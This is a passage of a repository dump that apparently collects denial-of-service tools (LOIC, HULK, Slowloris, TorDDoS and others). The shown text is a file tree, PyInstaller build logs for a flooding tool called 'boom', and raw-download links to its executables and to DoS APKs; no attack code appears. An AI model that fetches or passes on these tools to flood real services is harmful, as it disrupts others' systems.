├── Android ├── LOIC.apk └── OFS DoSer v1.1.4.apk ├── Linux ├── Boom │ ├── boom.py │ ├── boom.spec │ ├── build │ │ └── boom │ │ │ ├── Analysis-00.toc │ │ │ ├── COLLECT-00.toc │ │ │ ├── EXE-00.toc │ │ │ ├── PKG-00.pkg │ │ │ ├── PKG-00.toc │ │ │ ├── PYZ-00.pyz │ │ │ ├── PYZ-00.toc │ │ │ ├── base_library.zip │ │ │ ├── boom.exe │ │ │ ├── boom.exe.manifest │ │ │ ├── warn-boom.txt │ │ │ └── xref-boom.html │ └── dist │ │ └── boom │ │ ├── VCRUNTIME140.dll │ │ ├── _bz2.pyd │ │ ├── _hashlib.pyd │ │ ├── _lzma.pyd │ │ ├── _socket.pyd │ │ ├── _ssl.pyd │ │ ├── api-ms-win-core-file-l1-2-0.dll │ │ ├── api-ms-win-core-file-l2-1-0.dll │ │ ├── api-ms-win-core-localization-l1-2-0.dll │ │ ├── api-ms-win-core-processthreads-l1-1-1.dll │ │ ├── api-ms-win-core-synch-l1-2-0.dll │ │ ├── api-ms-win-core-timezone-l1-1-0.dll │ │ ├── api-ms-win-crt-conio-l1-1-0.dll │ │ ├── api-ms-win-crt-convert-l1-1-0.dll │ │ ├── api-ms-win-crt-environment-l1-1-0.dll │ │ ├── api-ms-win-crt-filesystem-l1-1-0.dll │ │ ├── api-ms-win-crt-heap-l1-1-0.dll │ │ ├── api-ms-win-crt-locale-l1-1-0.dll │ │ ├── api-ms-win-crt-math-l1-1-0.dll │ │ ├── api-ms-win-crt-process-l1-1-0.dll │ │ ├── api-ms-win-crt-runtime-l1-1-0.dll │ │ ├── api-ms-win-crt-stdio-l1-1-0.dll │ │ ├── api-ms-win-crt-string-l1-1-0.dll │ │ ├── api-ms-win-crt-time-l1-1-0.dll │ │ ├── api-ms-win-crt-utility-l1-1-0.dll │ │ ├── base_library.zip │ │ ├── boom.exe │ │ ├── boom.exe.manifest │ │ ├── libcrypto-1_1.dll │ │ ├── libssl-1_1.dll │ │ ├── pyexpat.pyd │ │ ├── python37.dll │ │ ├── select.pyd │ │ ├── ucrtbase.dll │ │ └── unicodedata.pyd ├── ChiHULK │ ├── ChiHULK.py │ ├── ReadMe.txt │ └── Screenshots │ │ ├── screenshot 1.png │ │ └── screenshot 2.png ├── DDoS-Synflood │ ├── LICENSE │ ├── SYNFlood.cpp │ └── wingetopt.h ├── DDoSim │ ├── Makefile.am │ ├── Makefile.in │ ├── README.txt │ ├── aclocal.m4 │ ├── captureThread.cpp │ ├── captureThread.h │ ├── configure │ ├── configure.ac │ ├── ddosim.cpp │ ├── ddosim.h │ ├── depcomp │ ├── install-sh │ ├── missing │ ├── senderThread.cpp │ ├── senderThread.h │ ├── sniffer.cpp │ ├── sniffer.h │ ├── tcpUtils.cpp │ └── tcpUtils.h ├── DDos-Attack │ ├── README.md │ └── ddos-attack.py ├── DDos.pl │ └── DDos.pl ├── Davoset │ ├── CyberPower.txt │ ├── EMC.txt │ ├── Oracle.txt │ ├── Qlikview.txt │ ├── SAP NetWeaver.txt │ ├── WordPress.txt │ ├── XML.txt │ ├── about42.nl.txt │ ├── browsershots.org.txt │ ├── davoset.pl │ ├── list.txt │ ├── list_full.txt │ └── ping-admin.ru.txt ├── Dequiem │ ├── Deq │ │ ├── SQLi.py │ │ ├── ddos.py │ │ ├── findip.py │ │ ├── help.py │ │ ├── main.py │ │ └── portscan.py │ └── Dequiem2.0.py ├── GoldenEye │ ├── README.md │ ├── goldeneye.py │ ├── res │ │ └── lists │ │ │ └── useragents │ │ │ ├── android.txt │ │ │ ├── browsers.txt │ │ │ ├── cloudplatforms.txt │ │ │ ├── crawlers.txt │ │ │ ├── feedreaders.txt │ │ │ ├── ipad.txt │ │ │ ├── iphone.txt │ │ │ ├── libraries.txt │ │ │ ├── linkcheckers.txt │ │ │ ├── others.txt │ │ │ ├── validators.txt │ │ │ └── zytrax-browserid.txt │ └── util │ │ └── getuas.py ├── HULK │ ├── CODE_OF_CONDUCT.md │ ├── CONTRIBUTING.md │ ├── LICENSE │ ├── README.md │ ├── __pycache__ │ │ └── boom.cpython-37.pyc │ ├── hulk-launcher.py │ ├── hulk-server.py │ ├── hulk.py │ └── requirements.txt ├── LOIC │ ├── README.txt │ ├── loic.sh │ └── src │ │ ├── Functions.cs │ │ ├── HTTPFlooder.cs │ │ ├── IFlooder.cs │ │ ├── IRC │ │ ├── Client │ │ │ ├── Channel.cs │ │ │ ├── ChannelUser.cs │ │ │ ├── Delegates.cs │ │ │ ├── EventArgs.cs │ │ │ ├── IrcClient.cs │ │ │ ├── IrcMessageData.cs │ │ │ ├── IrcUser.cs │ │ │ ├── NonRfcChannel.cs │ │ │ └── NonRfcChannelUser.cs │ │ ├── Commands │ │ │ ├── IrcCommands.cs │ │ │ └── Rfc2812.cs │ │ ├── Connection │ │ │ ├── Delegates.cs │ │ │ ├── EventArgs.cs │ │ │ ├── IrcConnection.cs │ │ │ ├── IrcProperties.cs │ │ │ └── IrcTcpClient.cs │ │ ├── Consts.cs │ │ ├── EventArgs.cs │ │ ├── Exceptions.cs │ │ ├── IRC.csproj │ │ ├── Logger.cs │ │ ├── Meebey.SmartIrc4net.xml │ │ ├── Properties │ │ │ └── AssemblyInfo.cs │ │ └── packages.config │ │ ├── LOIC.csproj │ │ ├── LOIC.sln │ │ ├── LOIC.userprefs │ │ ├── Program.cs │ │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ └── Resources.resx │ │ ├── Protocol.cs │ │ ├── ReqState.cs │ │ ├── Resources │ │ ├── EULA.rtf │ │ ├── LOIC.gif │ │ ├── LOIC.ico │ │ └── WTF.jpg │ │ ├── Settings.cs │ │ ├── XXPFlooder.cs │ │ ├── app.config │ │ ├── app.manifest │ │ ├── cHLDos.cs │ │ ├── frmEULA.Designer.cs │ │ ├── frmEULA.cs │ │ ├── frmEULA.resx │ │ ├── frmEZGrab.Designer.cs │ │ ├── frmEZGrab.cs │ │ ├── frmEZGrab.resx │ │ ├── frmMain.Designer.cs │ │ ├── frmMain.cs │ │ ├── frmMain.resx │ │ ├── frmWtf.Designer.cs │ │ ├── frmWtf.cs │ │ ├── frmWtf.resx │ │ └── packages │ │ ├── log4net.2.0.5 │ │ ├── lib │ │ │ ├── net10-full │ │ │ │ ├── log4net.dll │ │ │ │ └── log4net.xml │ │ │ ├── net11-full │ │ │ │ ├── log4net.dll │ │ │ │ └── log4net.xml │ │ │ ├── net20-full │ │ │ │ ├── log4net.dll │ │ │ │ └── log4net.xml │ │ │ ├── net35-client │ │ │ │ ├── log4net.dll │ │ │ │ └── log4net.xml │ │ │ ├── net35-full │ │ │ │ ├── log4net.dll │ │ │ │ └── log4net.xml │ │ │ ├── net40-client │ │ │ │ ├── log4net.dll │ │ │ │ └── log4net.xml │ │ │ ├── net40-full │ │ │ │ ├── log4net.dll │ │ │ │ └── log4net.xml │ │ │ └── net45-full │ │ │ │ ├── log4net.dll │ │ │ │ └── log4net.xml │ │ ├── log4net.2.0.5.nupkg │ │ ├── log4net.2.0.5.nupkg.sha512 │ │ └── log4net.nuspec │ │ └── repositories.config ├── Moihack Reloaded │ └── moihack.py ├── Pummel │ ├── LICENSE │ ├── README.md │ └── pummel.py ├── R-U-Dead-Yet │ ├── BeautifulSoup.py │ ├── README.md │ ├── r-u-dead-yet-v2.2.py │ ├── rudeadyet.conf │ └── socks.py ├── RCPnet │ ├── Capture.PNG │ ├── LICENSE.txt │ ├── test.py │ └── tracertest.py ├── Refref │ ├── README.md │ └── refref.pl ├── Simple Python Scripts │ ├── anonyv28.py │ ├── pyDDos-1.py │ └── pyDDos-2.py ├── Slowloris │ ├── LICENSE │ ├── MANIFEST.in │ ├── README.md │ ├── setup.py │ └── slowloris.py ├── TorDDoS │ ├── LICENSE │ ├── README.md │ ├── img │ │ └── torddos.png │ ├── install.sh │ ├── lib │ │ ├── __init__.py │ │ ├── args.py │ │ ├── color.py │ │ └── tor.py │ ├── requirements.txt │ └── torddos.py ├── Torshammer │ ├── README │ ├── socks.py │ ├── terminal.py │ └── torshammer.py └── pyloris │ ├── doc │ └── httploris.txt │ ├── httploris.py │ ├── libloris.py │ ├── license │ ├── PyLoris.txt │ └── SocksiPy.txt │ ├── pyloris.py │ ├── scriptloris_deflate.py │ ├── scriptloris_ftp.py │ ├── scriptloris_http.py │ ├── scriptloris_httpbasic.py │ ├── scriptloris_imaps.py │ ├── scriptloris_sfspoof.py │ ├── socks.py │ └── tor_switcher.py └── README.md /Android/LOIC.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Android/LOIC.apk -------------------------------------------------------------------------------- /Android/OFS DoSer v1.1.4.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Android/OFS DoSer v1.1.4.apk -------------------------------------------------------------------------------- /Linux/Boom/boom.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | 3 | block_cipher = None 4 | 5 | 6 | a = Analysis(['boom.py'], 7 | pathex=['C:\\Users\\drago\\Desktop\\hulk.exe'], 8 | binaries=[], 9 | datas=[], 10 | hiddenimports=[], 11 | hookspath=[], 12 | runtime_hooks=[], 13 | excludes=[], 14 | win_no_prefer_redirects=False, 15 | win_private_assemblies=False, 16 | cipher=block_cipher, 17 | noarchive=False) 18 | pyz = PYZ(a.pure, a.zipped_data, 19 | cipher=block_cipher) 20 | exe = EXE(pyz, 21 | a.scripts, 22 | [], 23 | exclude_binaries=True, 24 | name='boom', 25 | debug=False, 26 | bootloader_ignore_signals=False, 27 | strip=False, 28 | upx=True, 29 | console=True ) 30 | coll = COLLECT(exe, 31 | a.binaries, 32 | a.zipfiles, 33 | a.datas, 34 | strip=False, 35 | upx=True, 36 | upx_exclude=[], 37 | name='boom') 38 | -------------------------------------------------------------------------------- /Linux/Boom/build/boom/COLLECT-00.toc: -------------------------------------------------------------------------------- 1 | ([('boom.exe', 2 | 'C:\\Users\\drago\\Desktop\\hulk.exe\\build\\boom\\boom.exe', 3 | 'EXECUTABLE'), 4 | ('boom.exe.manifest', 5 | 'C:\\Users\\drago\\Desktop\\hulk.exe\\build\\boom\\boom.exe.manifest', 6 | 'BINARY'), 7 | ('python37.dll', 8 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\python37.dll', 9 | 'BINARY'), 10 | ('api-ms-win-crt-runtime-l1-1-0.dll', 11 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-runtime-l1-1-0.dll', 12 | 'BINARY'), 13 | ('api-ms-win-crt-heap-l1-1-0.dll', 14 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-heap-l1-1-0.dll', 15 | 'BINARY'), 16 | ('api-ms-win-crt-math-l1-1-0.dll', 17 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-math-l1-1-0.dll', 18 | 'BINARY'), 19 | ('api-ms-win-crt-locale-l1-1-0.dll', 20 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-locale-l1-1-0.dll', 21 | 'BINARY'), 22 | ('api-ms-win-crt-stdio-l1-1-0.dll', 23 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-stdio-l1-1-0.dll', 24 | 'BINARY'), 25 | ('VCRUNTIME140.dll', 26 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\VCRUNTIME140.dll', 27 | 'BINARY'), 28 | ('api-ms-win-crt-string-l1-1-0.dll', 29 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-string-l1-1-0.dll', 30 | 'BINARY'), 31 | ('api-ms-win-crt-time-l1-1-0.dll', 32 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-time-l1-1-0.dll', 33 | 'BINARY'), 34 | ('api-ms-win-crt-conio-l1-1-0.dll', 35 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-conio-l1-1-0.dll', 36 | 'BINARY'), 37 | ('api-ms-win-crt-filesystem-l1-1-0.dll', 38 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-filesystem-l1-1-0.dll', 39 | 'BINARY'), 40 | ('api-ms-win-crt-convert-l1-1-0.dll', 41 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-convert-l1-1-0.dll', 42 | 'BINARY'), 43 | ('api-ms-win-crt-process-l1-1-0.dll', 44 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-process-l1-1-0.dll', 45 | 'BINARY'), 46 | ('api-ms-win-crt-environment-l1-1-0.dll', 47 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-environment-l1-1-0.dll', 48 | 'BINARY'), 49 | ('ucrtbase.dll', 50 | 'C:\\Program Files\\Mozilla Firefox\\ucrtbase.dll', 51 | 'BINARY'), 52 | ('api-ms-win-core-synch-l1-2-0.dll', 53 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-core-synch-l1-2-0.dll', 54 | 'BINARY'), 55 | ('api-ms-win-core-file-l1-2-0.dll', 56 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-core-file-l1-2-0.dll', 57 | 'BINARY'), 58 | ('api-ms-win-core-processthreads-l1-1-1.dll', 59 | 'C:\\Program Files\\Mozilla ' 60 | 'Firefox\\api-ms-win-core-processthreads-l1-1-1.dll', 61 | 'BINARY'), 62 | ('api-ms-win-core-localization-l1-2-0.dll', 63 | 'C:\\Program Files\\Mozilla ' 64 | 'Firefox\\api-ms-win-core-localization-l1-2-0.dll', 65 | 'BINARY'), 66 | ('api-ms-win-core-file-l2-1-0.dll', 67 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-core-file-l2-1-0.dll', 68 | 'BINARY'), 69 | ('api-ms-win-core-timezone-l1-1-0.dll', 70 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-core-timezone-l1-1-0.dll', 71 | 'BINARY'), 72 | ('_socket', 73 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\_socket.pyd', 74 | 'EXTENSION'), 75 | ('_lzma', 76 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\_lzma.pyd', 77 | 'EXTENSION'), 78 | ('_bz2', 79 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\_bz2.pyd', 80 | 'EXTENSION'), 81 | ('select', 82 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\select.pyd', 83 | 'EXTENSION'), 84 | ('_hashlib', 85 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\_hashlib.pyd', 86 | 'EXTENSION'), 87 | ('_ssl', 88 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\_ssl.pyd', 89 | 'EXTENSION'), 90 | ('unicodedata', 91 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\unicodedata.pyd', 92 | 'EXTENSION'), 93 | ('pyexpat', 94 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\pyexpat.pyd', 95 | 'EXTENSION'), 96 | ('libcrypto-1_1.dll', 97 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\libcrypto-1_1.dll', 98 | 'BINARY'), 99 | ('libssl-1_1.dll', 100 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\DLLs\\libssl-1_1.dll', 101 | 'BINARY'), 102 | ('api-ms-win-crt-utility-l1-1-0.dll', 103 | 'C:\\Program Files\\Mozilla Firefox\\api-ms-win-crt-utility-l1-1-0.dll', 104 | 'BINARY'), 105 | ('base_library.zip', 106 | 'C:\\Users\\drago\\Desktop\\hulk.exe\\build\\boom\\base_library.zip', 107 | 'DATA')],) 108 | -------------------------------------------------------------------------------- /Linux/Boom/build/boom/EXE-00.toc: -------------------------------------------------------------------------------- 1 | ('C:\\Users\\drago\\Desktop\\hulk.exe\\build\\boom\\boom.exe', 2 | True, 3 | False, 4 | True, 5 | None, 6 | None, 7 | False, 8 | False, 9 | '', 10 | True, 11 | 'boom.pkg', 12 | [('PYZ-00.pyz', 13 | 'C:\\Users\\drago\\Desktop\\hulk.exe\\build\\boom\\PYZ-00.pyz', 14 | 'PYZ'), 15 | ('struct', 16 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\struct.pyo', 17 | 'PYMODULE'), 18 | ('pyimod01_os_path', 19 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\site-packages\\PyInstaller\\loader\\pyimod01_os_path.pyc', 20 | 'PYMODULE'), 21 | ('pyimod02_archive', 22 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\site-packages\\PyInstaller\\loader\\pyimod02_archive.pyc', 23 | 'PYMODULE'), 24 | ('pyimod03_importers', 25 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\site-packages\\PyInstaller\\loader\\pyimod03_importers.pyc', 26 | 'PYMODULE'), 27 | ('pyiboot01_bootstrap', 28 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\site-packages\\PyInstaller\\loader\\pyiboot01_bootstrap.py', 29 | 'PYSOURCE'), 30 | ('boom', 'C:\\Users\\drago\\Desktop\\hulk.exe\\boom.py', 'PYSOURCE'), 31 | ('boom.exe.manifest', 32 | 'C:\\Users\\drago\\Desktop\\hulk.exe\\build\\boom\\boom.exe.manifest', 33 | 'BINARY')], 34 | [], 35 | False, 36 | False, 37 | 1580659319, 38 | [('run.exe', 39 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\site-packages\\PyInstaller\\bootloader\\Windows-64bit\\run.exe', 40 | 'EXECUTABLE')]) 41 | -------------------------------------------------------------------------------- /Linux/Boom/build/boom/PKG-00.pkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/build/boom/PKG-00.pkg -------------------------------------------------------------------------------- /Linux/Boom/build/boom/PKG-00.toc: -------------------------------------------------------------------------------- 1 | ('C:\\Users\\drago\\Desktop\\hulk.exe\\build\\boom\\PKG-00.pkg', 2 | {'BINARY': 1, 3 | 'DATA': 1, 4 | 'EXECUTABLE': 1, 5 | 'EXTENSION': 1, 6 | 'PYMODULE': 1, 7 | 'PYSOURCE': 1, 8 | 'PYZ': 0}, 9 | [('PYZ-00.pyz', 10 | 'C:\\Users\\drago\\Desktop\\hulk.exe\\build\\boom\\PYZ-00.pyz', 11 | 'PYZ'), 12 | ('struct', 13 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\struct.pyo', 14 | 'PYMODULE'), 15 | ('pyimod01_os_path', 16 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\site-packages\\PyInstaller\\loader\\pyimod01_os_path.pyc', 17 | 'PYMODULE'), 18 | ('pyimod02_archive', 19 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\site-packages\\PyInstaller\\loader\\pyimod02_archive.pyc', 20 | 'PYMODULE'), 21 | ('pyimod03_importers', 22 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\site-packages\\PyInstaller\\loader\\pyimod03_importers.pyc', 23 | 'PYMODULE'), 24 | ('pyiboot01_bootstrap', 25 | 'c:\\users\\drago\\appdata\\local\\programs\\python\\python37\\lib\\site-packages\\PyInstaller\\loader\\pyiboot01_bootstrap.py', 26 | 'PYSOURCE'), 27 | ('boom', 'C:\\Users\\drago\\Desktop\\hulk.exe\\boom.py', 'PYSOURCE'), 28 | ('boom.exe.manifest', 29 | 'C:\\Users\\drago\\Desktop\\hulk.exe\\build\\boom\\boom.exe.manifest', 30 | 'BINARY')], 31 | True, 32 | False, 33 | False, 34 | []) 35 | -------------------------------------------------------------------------------- /Linux/Boom/build/boom/PYZ-00.pyz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/build/boom/PYZ-00.pyz -------------------------------------------------------------------------------- /Linux/Boom/build/boom/base_library.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/build/boom/base_library.zip -------------------------------------------------------------------------------- /Linux/Boom/build/boom/boom.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/build/boom/boom.exe -------------------------------------------------------------------------------- /Linux/Boom/build/boom/boom.exe.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /Linux/Boom/build/boom/warn-boom.txt: -------------------------------------------------------------------------------- 1 | 2 | This file lists modules PyInstaller was not able to find. This does not 3 | necessarily mean this module is required for running you program. Python and 4 | Python 3rd-party packages include a lot of conditional or optional modules. For 5 | example the module 'ntpath' only exists on Windows, whereas the module 6 | 'posixpath' only exists on Posix systems. 7 | 8 | Types if import: 9 | * top-level: imported at the top-level - look at these first 10 | * conditional: imported within an if-statement 11 | * delayed: imported from within a function 12 | * optional: imported within a try-except-statement 13 | 14 | IMPORTANT: Do NOT post this list to the issue-tracker. Use it as a basis for 15 | yourself tracking down the missing module. Thanks! 16 | 17 | missing module named 'org.python' - imported by copy (optional), xml.sax (delayed, conditional) 18 | missing module named pwd - imported by posixpath (delayed, conditional), shutil (optional), tarfile (optional), http.server (delayed, optional), webbrowser (delayed), netrc (delayed, conditional), getpass (delayed) 19 | missing module named org - imported by pickle (optional) 20 | missing module named grp - imported by shutil (optional), tarfile (optional) 21 | missing module named termios - imported by tty (top-level), getpass (optional) 22 | missing module named _posixsubprocess - imported by subprocess (conditional) 23 | missing module named vms_lib - imported by platform (delayed, conditional, optional) 24 | missing module named 'java.lang' - imported by platform (delayed, optional), xml.sax._exceptions (conditional) 25 | missing module named java - imported by platform (delayed) 26 | missing module named _scproxy - imported by urllib.request (conditional) 27 | missing module named _winreg - imported by platform (delayed, optional) 28 | missing module named _frozen_importlib_external - imported by importlib._bootstrap (delayed), importlib (optional), importlib.abc (optional) 29 | excluded module named _frozen_importlib - imported by importlib (optional), importlib.abc (optional) 30 | missing module named readline - imported by cmd (delayed, conditional, optional), code (delayed, conditional, optional), pdb (delayed, optional) 31 | missing module named posix - imported by os (conditional, optional) 32 | missing module named resource - imported by posix (top-level) 33 | -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/VCRUNTIME140.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/VCRUNTIME140.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/_bz2.pyd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/_bz2.pyd -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/_hashlib.pyd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/_hashlib.pyd -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/_lzma.pyd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/_lzma.pyd -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/_socket.pyd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/_socket.pyd -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/_ssl.pyd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/_ssl.pyd -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-core-file-l1-2-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-core-file-l1-2-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-core-file-l2-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-core-file-l2-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-core-localization-l1-2-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-core-localization-l1-2-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-core-processthreads-l1-1-1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-core-processthreads-l1-1-1.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-core-synch-l1-2-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-core-synch-l1-2-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-core-timezone-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-core-timezone-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-conio-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-conio-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-convert-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-convert-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-environment-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-environment-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-filesystem-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-filesystem-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-heap-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-heap-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-locale-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-locale-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-math-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-math-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-process-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-process-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-runtime-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-runtime-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-stdio-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-stdio-l1-1-0.dll -------------------------------------------------------------------------------- /Linux/Boom/dist/boom/api-ms-win-crt-string-l1-1-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theahmadov/DISCOS/2de8c1cacbc49de6cd011fa113a242ff0465ce5f/Linux/Boom/dist/boom/api-ms-win-crt-string-l1-1-0.dll -------------------------------------------------------------------------------- 